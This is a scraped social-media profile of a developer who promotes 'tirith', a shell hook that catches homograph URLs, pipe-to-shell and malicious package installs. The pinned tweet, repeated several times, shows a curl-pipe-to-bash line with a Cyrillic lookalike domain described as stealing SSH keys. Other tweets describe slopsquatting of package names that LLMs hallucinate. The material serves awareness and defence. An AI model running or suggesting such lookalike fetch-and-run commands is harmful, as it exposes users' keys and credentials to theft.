frontier markets, frontier models | @impossible_ | prev @Lemniscap @Nethermind
Telegram/Discord
Joined May 2012
- Tweets577
- Following267
- Followers1K
- Likes3.1K
Pinned Tweet
Be honest. When was the last time you actually read a command before pasting it into your terminal?
Because these two lines look identical:
curl -sSL https://install.example-cli | bash
curl -sSL https://іnstall.example-clі | bash
One installs your tool. The other steals your SSH keys.
That і? Cyrillic. Not Latin. Your browser would block it. Your terminal doesn't even blink.
Vibe coding made this 100x worse. Everyone's pasting commands from ChatGPT and random repos like it's nothing. We're all one bad curl | bash away from losing everything.
So I built the fix: "tirith". Invisible shell hook. Catches homograph attacks, ANSI injection, hidden commands, dotfile overwrites before they execute. 30 rules. Local only. No telemetry.
github.com/sheeki03/tirith
AI agents install packages, run commands, touch wallets & ship code. Everyone is racing to make AI agents autonomous. I’m building the layer that can tell them “no.”
Tirith v0.4.0 adds:
• Python package firewall
• Web3 command guard
• Untrusted-project containment
• CI artifact-poisoning detection
• ThreatDB v2
• 19 integrations and more features
github.com/sheeki03/tirith
Your cold wallet can be drained without anyone touching it.
Last week: $38,000,000. 500 wallets. 25 minutes. One firmware bug, quietly broken for 5 years.
The worst part? A firmware update doesn't fix it.
The playbook that survives it ↓
Tirith is now part of @vercel Open Source Program, Spring Cohort 2026
Be honest. When was the last time you actually read a command before pasting it into your terminal?
Because these two lines look identical:
curl -sSL https://install.example-cli | bash
curl -sSL https://іnstall.example-clі | bash
One installs your tool. The other steals your SSH keys.
That і? Cyrillic. Not Latin. Your browser would block it. Your terminal doesn't even blink.
Vibe coding made this 100x worse. Everyone's pasting commands from ChatGPT and random repos like it's nothing. We're all one bad curl | bash away from losing everything.
So I built the fix: "tirith". Invisible shell hook. Catches homograph attacks, ANSI injection, hidden commands, dotfile overwrites before they execute. 30 rules. Local only. No telemetry.
github.com/sheeki03/tirith
Pushed so many updates since. Here's the latest one: xitter.cf/sheeki03/status/206681…
You can see what your AI agent changed. Not what it did, the commands it ran, the secret it touched, the 200k tokens it burned. Insane.
So I gave it a flight recorder: every prompt, command & diff, local.
Replay, flag risks, revert.
some things to do with a recorded agent session:
→ distill it into a reusable skill
→ share it (Loom, but for AI agents)
→ let your agent read a run and improve the workflow
→ turn runs into evals + tests
→ catch leaked secrets, undo bad runs
→ audit what shipped
→ auto-generate skills from your runs
→ agents that learn from their own failures
→ A/B test prompts & models on real tasks
→ real-time guardrails that halt risky actions
→ time-travel debugging
github.com/sheeki03/logbook
You can review your tweets with the scorer based on the algorithm now!
xitter.cf/sheeki03/status/205535…
The latest 𝕏 algorithm has been published to GitHub
github.com/xai-org/x-algorit…
Stop guessing why your tweets flop.
I built a scorer from X's open-source For You code.
Your tweet isn't just competing with "the algorithm."
It's competing with:
- unclear topic
- slop signals
- safety flags
- thread dedup
- weak first 280 chars
Paste a draft and see which signal is dragging your reach down, plus concrete rewrites that lift the score.
Not a crystal ball. Just the public algorithm signals, before you post
x-algo-mu.vercel.app/
Sheeki retweeted
2,314 ⭐ tirith - Terminal security guard for developers and AI agents — blocks homograph URLs, pipe-to-shell, ANSI injection, and malicious skills before they run 🛡by @sheeki03
star-history.com/?repos=shee…
#starhistory #GitHub #OpenSource #Security
Sheeki retweeted
Ever seen Tirith while using Hermes Agent by @NousResearch ?
Tirith is a Rust-based pre-execution scan for prompt-injection built into Hermes. Made by our team @sheeki03.
Full doc in the reply below ⬇️
Be honest. When was the last time you actually read a command before pasting it into your terminal?
Because these two lines look identical:
curl -sSL https://install.example-cli | bash
curl -sSL https://іnstall.example-clі | bash
One installs your tool. The other steals your SSH keys.
That і? Cyrillic. Not Latin. Your browser would block it. Your terminal doesn't even blink.
Vibe coding made this 100x worse. Everyone's pasting commands from ChatGPT and random repos like it's nothing. We're all one bad curl | bash away from losing everything.
So I built the fix: "tirith". Invisible shell hook. Catches homograph attacks, ANSI injection, hidden commands, dotfile overwrites before they execute. 30 rules. Local only. No telemetry.
github.com/sheeki03/tirith
a searchable archive:
all records, maps, timeline, photos, videos, and page-cited answers
ufosearch.org
The UFO / UAP docs dropped today
i couldn’t leave them sitting in random PDFs
so i turned them into a searchable archive:
all records, maps, timeline, photos, videos, and page-cited answers
reply with a query, i’ll post the best hit or try it yourself at
ufosearch.org
Sheeki retweeted
The main repo I track and update religiously.
curl | bash isn't a meme anymore. It's how most dev tools ship now. Which means every command you paste from ChatGPT, a README, or a Discord DM is a supply-chain decision you're making without realizing it.
Attackers realized. They've scraped millions of LLM responses, collected the package names GPT, Claude, and Copilot hallucinate, and quietly registered them on npm, PyPI, crates, etc.
It has a name now: slopsquatting. USENIX researchers tested 16 LLMs on 576,000 code samples. 58% of the hallucinated packages repeated across runs, Attackers farm them, register, and wait
Your terminal doesn't know the difference. Your lockfile captures the hash of whatever you ran, malicious or not. The CVE lands a week later. By then, Team PCP, UNC1069, and Shai-Hulud already have your GitHub token, your AWS keys, and a fresh public repo named after you.
This is the supply-chain version of the homograph attack. Same idea. New surface.
I built tirith to catch the curl version two months ago. v0.3.0 catches the install version:
Signed Threat DB cross-referenced before the install runs. Malicious-package intel from @openssf and @datadoghq. IOC/blocklists from @abuse_ch. Tor exit coverage via @torproject. Live OSV and deps lookup via @GoogleOSS.
Still local. Still no telemetry. Still free and Open Source
github.com/sheeki03/tirith/
curl | bash isn't a meme anymore. It's how most dev tools ship now. Which means every command you paste from ChatGPT, a README, or a Discord DM is a supply-chain decision you're making without realizing it.
Attackers realized. They've scraped millions of LLM responses, collected the package names GPT, Claude, and Copilot hallucinate, and quietly registered them on npm, PyPI, crates, etc.
It has a name now: slopsquatting. USENIX researchers tested 16 LLMs on 576,000 code samples. 58% of the hallucinated packages repeated across runs, Attackers farm them, register, and wait
Your terminal doesn't know the difference. Your lockfile captures the hash of whatever you ran, malicious or not. The CVE lands a week later. By then, Team PCP, UNC1069, and Shai-Hulud already have your GitHub token, your AWS keys, and a fresh public repo named after you.
This is the supply-chain version of the homograph attack. Same idea. New surface.
I built tirith to catch the curl version two months ago. v0.3.0 catches the install version:
Signed Threat DB cross-referenced before the install runs. Malicious-package intel from @openssf and @datadoghq. IOC/blocklists from @abuse_ch. Tor exit coverage via @torproject. Live OSV and deps lookup via @GoogleOSS.
Still local. Still no telemetry. Still free and Open Source
github.com/sheeki03/tirith/
Repeated suspicious commands within a session now escalate. Cooldowns prevent noise. Domain-scoped, so warnings on one host don't drown out a different one.
`tirith warnings` shows session history, hidden findings (paranoia-suppressed), and exact counts by rule.
`tirith doctor` now includes detection-gap analysis over the last 7 days of audit logs. It surfaces what paranoia filtering hid.
`tirith setup copilot-cli` and `tirith setup kiro` bring AI coding agent coverage for @GitHubCopilot and @kirodotdev
Config scanner now also sees .kiro/, .amazonq/cli-agents/, and .github/hooks/ as prompt-injection surfaces.
Questions, edge cases, attack shapes I haven't covered? Reply. I read every one.